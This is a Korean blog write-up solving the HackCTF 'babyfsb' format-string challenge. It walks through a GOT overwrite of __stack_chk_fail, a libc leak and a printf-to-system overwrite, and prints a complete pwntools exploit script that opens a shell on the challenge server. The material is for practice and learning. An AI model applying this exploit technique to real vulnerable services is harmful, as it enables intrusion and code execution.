Sechack

HackCTF - babyfsb 풀이 본문

Wargame

HackCTF - babyfsb 풀이

Sechack 2021. 5. 11. 00:15
반응형

 

IDA로 보면 굉장히 심플하다. 문제 이름앞에 baby가 붙어있으면 대부분 매우 어려워서 이번문제에는 어떤 hard한 요소가 있을까 하고 봤는데 진짜 간단한 fsb였다. babyheap도 그렇고 HackCTF만 baby붙은게 진짜 쉽다.

 

 

checksec으로 보호기법 보기 전까지 full relro면 어떡하나 바짝 긴장했었다. baby라는 이름이 나를 긴장하게 만든다... 다행히도 Partial이다. 이러면 got overwrite가 가능하다.

 

문제는 1번 입력받고 프로그램이 바로 꺼진다는거였는데 read함수에서 카나리를 변조할 수가 있으므로 이건 간단하게 

__stack_chk_fail함수 got를 main으로 덮어서 해결 가능하다. got에는 맨처음에 plt+6의 주소가 들어가고 그다음부터 libc에 매핑된 실제 주소가 들어가기 때문에 1.5byte만 덮어줘도 main으로 바뀐다. __stack_chk_fail plt +6의 주소와

main함수의 주소를 보면 실제로 0x400***꼴로 상위 1.5byte는 같다. 이걸 이용해서 적은 출력으로 간단하게 덮어주었다.

 

그리고 이제 main으로 다시 돌아와서 fsb로 할 수 있는것들을 하면 된다. libc leak부터 먼저 할건데 main ret쪽에 __libc_start_main + 240 (ubuntu 16.04기준으로 offset이 240이고 이건 버전에 따라서 offset이 약간씩 다르다.)이 있으므로 ret까지 offset 구해서 간단하게 leak해주면 된다.

 

 

 

 

leak이 되었으면 크게 두가지 선택지가 있다. puts_got나 printf_got 이런 호출 가능한 함수의 got들을 원가젯으로 덮어서 한방에 익스하느냐 아니면 printf함수 got를 system으로 덮고 다시 main으로 돌아와서 /bin/sh를 인자로 줘서 안정적으로 셸을 실행시키느냐이다. 원가젯은 조건 확인하고 써야되서(그냥 막쓰면 조건 다르면 터진다.) 귀찮기도 하고 안정적인 익스를 위해서 printf got를 system함수로 덮었다.

 

 

 

from pwn import *

#p = process("./babyfsb")
r = remote("ctf.j0n9hyun.xyz", 3032)
e = ELF("./babyfsb")
#libc = e.libc
libc = ELF("./libc.so.6")

stack_chk_got = e.got["__stack_chk_fail"]
printf_got = e.got["printf"]
main = e.sym["main"]

looppay = b"%1702c"
looppay += b"%8$hn"
looppay += b"a"*(8 - (len(looppay) % 8))
looppay += p64(stack_chk_got)
looppay += b"a"*(0x40 - len(looppay))

r.send(looppay)
sleep(0.1)

r.recv()

leakpay = b"%25$p"
leakpay += b"a"*(0x40 - len(leakpay))

r.send(leakpay)
sleep(0.3)

leak = int(r.recv()[:14], 16)
libc_base = leak - libc.sym["__libc_start_main"] - 240
system = libc_base + libc.sym["system"]

low = system & 0xffff
middle = (system >> 16) & 0xffff
high = (system >> 32) & 0xffff

if low > middle:
    middle = (middle - low) & 0xffff
else:
    middle = middle - low

if (low + middle) > high:
    high = (high - (low + middle)) & 0xffff
else:
    high = high - (low + middle)

pay = ("%{}c".format(low)).encode()
pay += b"%11$hn"
pay += ("%{}c".format(middle)).encode()
pay += b"%12$hn"
pay += ("%{}c".format(high)).encode()
pay += b"%13$hn"
pay += b"a"*(8 - (len(pay) % 8))

pay += p64(printf_got)
pay += p64(printf_got + 2)
pay += p64(printf_got + 4)
pay += b"a"*(0x40 - len(pay))

r.send(pay)
sleep(0.3)
r.send(b"/bin/sh\x00")

r.interactive()

 

풀 페이로드이다. 주소 쪼개서 덮는건 몇번 해봐서 쉬웠다. 처음 fsb접할때는 이 주소 쪼개는거 원리 이해하는게 너무 힘들었긴 했지만 결국 이해하고 내것으로 만들었다.

 

그리고 주의할점이 몇가지 있는데 일단 우리는 카나리 체크함수의 got를 덮은것이므로 main으로 돌아가서 작업을 하려면 카나리를 변조시켜야 한다. 따라서 pay += b"a"*(0x40 - len(pay)) 이런식으로 페이로드 마지막에 카나리를 덮을 수 있게끔 데이터를 채워넣어야 한다.

 

또 64bit랑 32bit 차이점이 32bit에서 fsb를 할때는 보통 주소에 NULL문자가 들어가있지 않아서 주소를 앞에다 넣어도 상관없지만 64bit에서는 0x0000000000400726 이런식으로 주소에 NULL이 들어간다. libc주소도 6byte만 사용하고 나머지 상위 2byte는 NULL로 채워진다. printf함수는 NULL문자를 만나면 출력을 종료하므로 주소를 앞에다가 넣으면 포맷스트링이 실행되기도 전에 printf가 출력을 끝내버린다. 따라서 필수적으로 덮어쓸 주소를 뒤에다 넣고 offset에다가 덮어쓸 주소 넣는 부분을 제외한 페이로드 길이 / 8을 더해줘야 한다. pay += b"a"*(8 - (len(pay) % 8)) 이러한 코드로 데이터를 8byte로 정렬시킨다. 처음 64bit fsb문제를 풀때 이걸 몰라서 주소 앞에다 넣고 왜 포맷스트링 실행 안되냐고 삽질한 적이 있다. 그때는 포맷스트링에 대한 이해도도 거의 없어서 NULL문자부터 주소 쪼개기 등 처음부터 끝까지 삽질했던것같다.

 

 

아무튼 64bit fsb의 기초를 다지기 좋은 문제였다.

 

아 그리고 중간중간에 sleep걸어준건 더욱더 안정적인 익스를 위해서이다.

 

 

셸을 땄다.

 

플래그는 직접 풀어서 얻으시길 바랍니다.

반응형

'Wargame' 카테고리의 다른 글

김민욱님이 주신 웹해킹 문제 풀이  (0) 2021.05.28
LOS - iron_golem 풀이  (0) 2021.05.22
HackCTF - 훈폰정음 풀이  (0) 2021.05.12
HackCTF - 달라란 침공 풀이  (0) 2021.05.12
HackCTF - wishlist풀이  (0) 2021.05.11
Comments